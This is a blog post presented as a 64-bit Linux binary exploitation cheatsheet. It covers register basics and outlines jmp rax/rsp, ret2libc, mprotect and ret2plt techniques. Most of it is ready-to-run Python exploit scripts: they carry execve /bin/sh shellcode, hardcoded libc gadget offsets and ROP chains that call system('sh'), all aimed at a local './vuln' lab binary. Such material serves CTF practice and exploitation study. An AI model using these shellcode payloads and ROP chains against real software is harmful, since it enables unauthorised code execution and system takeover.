64-bit Linux Binary Exploitation Cheatsheet

 


RAX - System Call number 
RDI - 1st Argument
RSI - 2nd 
RDX - 3rd 
R10 - 4th 
R8 - 5th 
R9 - 6th 

64-bit Registers Basic info

  1. Accumulator Register (EAX/RAX): Used for arithmetic and logical operations, function return values, and passing function parameters.

    • EAX: 32 bits
    • AX: 16 bits
    • AH: 8 bits (high-order half of AX)
    • AL: 8 bits (low-order half of AX)
  2. Base Register (EBX/RBX): Typically used as a pointer to data in memory or for holding a memory address.

    • EBX: 32 bits
    • BX: 16 bits
    • BH: 8 bits (high-order half of BX)
    • BL: 8 bits (low-order half of BX)
  3. Count Register (ECX/RCX): Often used as a loop counter in iterative operations.

    • ECX: 32 bits
    • CX: 16 bits
    • CH: 8 bits (high-order half of CX)
    • CL: 8 bits (low-order half of CX)
  4. Data Register (EDX/RDX): Used in I/O operations, as well as holding the high-order bits during multiplication and division.

    • EDX: 32 bits
    • DX: 16 bits
    • DH: 8 bits (high-order half of DX)
    • DL: 8 bits (low-order half of DX)
  5. Stack Pointer Register (ESP/RSP): Keeps track of the top of the stack, used for managing function calls and local variables.

    • ESP: 32 bits
  6. Base Pointer Register (EBP/RBP): Used to reference parameters and variables within a stack frame.

    • EBP: 32 bits
  7. Source Index Register (ESI/RSI): Used as a source index for string and memory operations.

    • ESI: 32 bits
  8. Destination Index Register (EDI/RDI): Used as a destination index for string and memory operations.

    • EDI: 32 bits
  9. Instruction Pointer Register (EIP/RIP): Holds the memory address of the next instruction to be executed.

    • EIP: 32 bits
  10. Flags Register (EFLAGS/RFLAGS): Stores various condition flags that reflect the outcome of arithmetic and logical operations.

    • EFLAGS: 32 bits

Default Vulnerable Functions 

- printf
- gets
- 
X64 Exploit concepts

#JMP RAX 
- Find the RBP Offset and check control over RIP 
- Find `jmp rax` address either from our vuln binary using `ropper`. if not found - check in libc
	- `vmmap libc` will give the list of libc libraries  - take the path of the libc and copy it to pwd. 
	- Also, copy the libc base address (First address)
	- using ropper find the address 
		- `file vuln` or  `file libc`
		- `search jmp rsp` or `search call rsp`  
		- Take the address 
	- When an address is taken from an external library - we need to add the libc_base address with the instruction address. `buffer += pack("<Q",0x000000000002c16f + 0x00007ffff79e2000)` and use it as under RIP instruction. 
Final Exploit - `nops + shellcode + JUNK + JMP RAX`

#JMP RSP - use when there is not enough space for shellcode before RIP register. 
Final Exploit - `JUNK + JMP RSP +  nops + shellcode`

#64-bit NX enabled RET2LIBC - 
Final Exploit - `JUNK + RET +  POP RDI; RET + /bin/sh + system + exit`

Simple BOF 

from pwn import *

nops = b"\x90"*30
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

buffer = b"A" *(256 -len(nops) - len(shellcode)) 
buffer += b"B"*8
buffer += p64(0x7fffffffdc98) # Somewhere start of NOPS


payload = nops + shellcode + buffer 

# Launch the vulnerable program and feed it the payload
p = process(['./vuln', payload])
p.interactive()
NX/DEP Bypass - RET2LIBC

# Final Exploit - `JUNK + RET +  POP RDI; RET + /bin/sh + system + exit`

from struct import *

libc_base = 0x00007ffff79e2000

buffer = b"A"*256
buffer += b"B"*8                                        #RBP 
buffer += pack("<Q",libc_base + 0x00000000000008aa)     #RET 
buffer += pack("<Q",libc_base + 0x0000000000086388)     #RIP - pop rdi, ret
buffer += pack("<Q",libc_base + 0x001b3d88)             #/bin/sh address
buffer += pack("<Q",0x7ffff7a31420)                     #System address
buffer += pack("<Q",0x7ffff7a25110)                     #Exit address

print (buffer )
NX Bypass using Mprotect 

ASLR = OFF 
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial


MPROTECT arguments - get the instructions/gadgets for the below and point them to the start of nopsled followed by shellcode
# RDI = Stack Base Address
# RSI = 0x01010101
# RDX = 0x7
# RIP = mprotect address 


# Final Exploit

from struct import *

nops = "\x90"*30

#execve shellcode
shellcode = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

libc_base = 0x00007ffff79e2000

buffer = b"A"* (256 - len(nops)- len(shellcode) )       #offset
buffer += b"B"*8                                        #RBP
buffer += pack("<Q",libc_base + 0x0000000000086388)     #pop rdi; ret; 
buffer += pack("<Q",0x00007ffffffde000)                 #base address of stack
buffer += pack("<Q",libc_base + 0x0000000000023a6a)     #pop rsi; ret; 
buffer += pack("<Q",0x01010101)                         #Size of memory region
buffer += pack("<Q",libc_base + 0x0000000000001b96)     #pop rdx; ret; 
buffer += pack("<Q",0x7)                                #Permissions - RWX
buffer += pack("<Q",0x7ffff7afd7e0)                     #mprotect Address
buffer += pack("<Q",0x7fffffffde38)                     #Return address to Start of NOPS

print (nops + shellcode + buffer)


RET2PLT - NX & ASLR Bypass 

- This exploit is to be used when The binary contain gadgets and functions useful for exploitation. Example: system. 
- The binary should be compiled with -no-pie flag 


EXPLOIT

# if system function is available 
#Final Exploit - JUNK + ret + pop rdi; ret + sh + system 

from struct import *


buffer = "A"*256    #RBP Offset
buffer += "B"*8     #RBP 

#we are going to pass sh as an argument to system 
#Arguments are pushed onto the registers first 
#RDI is updated with sh and then next return goes to system with sh as argument 
# which becomes system("sh")

#Ret is to avoid 16-bit alignment issues 
buffer += pack("<Q",0x0000000000400476)   #ret
buffer += pack("<Q",0x0000000000400693)   #pop rdi; ret; 
buffer += pack("<Q",0x4006d9)             #sh string from binary
buffer += pack("<Q",0x4004a0)             #system@plt func address

print (buffer)



Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment